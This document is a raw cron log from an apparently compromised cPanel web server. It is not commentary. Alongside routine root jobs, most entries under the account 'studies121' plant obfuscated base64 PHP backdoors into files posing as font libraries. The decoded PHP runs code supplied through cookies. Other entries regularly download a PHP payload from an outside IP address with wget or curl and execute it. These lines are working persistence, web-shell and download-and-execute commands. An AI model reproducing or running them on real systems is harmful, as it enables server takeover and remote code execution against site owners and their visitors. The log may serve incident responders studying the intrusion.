Sep  5 03:56:01 ip-184-168-122-23 CROND[3518]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 03:56:01 ip-184-168-122-23 CROND[3517]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 03:56:01 ip-184-168-122-23 CROND[3520]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:57:01 ip-184-168-122-23 CROND[3612]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:57:01 ip-184-168-122-23 CROND[3615]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:57:01 ip-184-168-122-23 CROND[3613]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 03:57:01 ip-184-168-122-23 CROND[3614]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 03:58:01 ip-184-168-122-23 CROND[3784]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:58:01 ip-184-168-122-23 CROND[3786]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:58:01 ip-184-168-122-23 CROND[3789]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 03:58:01 ip-184-168-122-23 CROND[3787]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 03:58:01 ip-184-168-122-23 CROND[3788]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 03:59:01 ip-184-168-122-23 CROND[3884]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:59:01 ip-184-168-122-23 CROND[3885]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 03:59:01 ip-184-168-122-23 CROND[3889]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 03:59:01 ip-184-168-122-23 CROND[3887]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:00:01 ip-184-168-122-23 CROND[4019]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  5 04:00:01 ip-184-168-122-23 CROND[4021]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 04:00:01 ip-184-168-122-23 CROND[4023]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:00:01 ip-184-168-122-23 CROND[4026]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:00:01 ip-184-168-122-23 CROND[4028]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 04:00:01 ip-184-168-122-23 CROND[4027]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 04:00:01 ip-184-168-122-23 CROND[4024]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 04:00:01 ip-184-168-122-23 CROND[4025]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 04:00:01 ip-184-168-122-23 CROND[4029]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 04:01:01 ip-184-168-122-23 CROND[4149]: (root) CMD (run-parts /etc/cron.hourly)
Sep  5 04:01:01 ip-184-168-122-23 CROND[4150]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:01:02 ip-184-168-122-23 CROND[4154]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 04:01:02 ip-184-168-122-23 CROND[4155]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[4149]: starting 0anacron
Sep  5 04:01:02 ip-184-168-122-23 CROND[4161]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 04:01:02 ip-184-168-122-23 CROND[4167]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 04:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[4171]: finished 0anacron
Sep  5 04:02:01 ip-184-168-122-23 CROND[4260]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 04:02:01 ip-184-168-122-23 CROND[4259]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 04:02:01 ip-184-168-122-23 CROND[4262]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:02:01 ip-184-168-122-23 CROND[4261]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:02:01 ip-184-168-122-23 CROND[4263]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 04:03:01 ip-184-168-122-23 CROND[4449]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 04:03:01 ip-184-168-122-23 CROND[4450]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:03:01 ip-184-168-122-23 CROND[4452]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 04:03:01 ip-184-168-122-23 CROND[4451]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:04:01 ip-184-168-122-23 CROND[4559]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 04:04:01 ip-184-168-122-23 CROND[4561]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:04:01 ip-184-168-122-23 CROND[4564]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:04:01 ip-184-168-122-23 CROND[4562]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 04:04:01 ip-184-168-122-23 CROND[4563]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 04:05:02 ip-184-168-122-23 CROND[4736]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 04:05:02 ip-184-168-122-23 CROND[4742]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 04:05:02 ip-184-168-122-23 CROND[4737]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 04:05:02 ip-184-168-122-23 CROND[4739]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:05:02 ip-184-168-122-23 CROND[4738]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:05:02 ip-184-168-122-23 CROND[4740]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 04:05:02 ip-184-168-122-23 CROND[4741]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 04:06:01 ip-184-168-122-23 CROND[4894]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 04:06:01 ip-184-168-122-23 CROND[4895]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:06:01 ip-184-168-122-23 CROND[4898]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 04:06:01 ip-184-168-122-23 CROND[4896]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:06:01 ip-184-168-122-23 CROND[4899]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 04:07:01 ip-184-168-122-23 CROND[4983]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:07:01 ip-184-168-122-23 CROND[4984]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:07:01 ip-184-168-122-23 CROND[4986]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 04:07:01 ip-184-168-122-23 CROND[4985]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 04:08:01 ip-184-168-122-23 CROND[5146]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:08:01 ip-184-168-122-23 CROND[5148]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
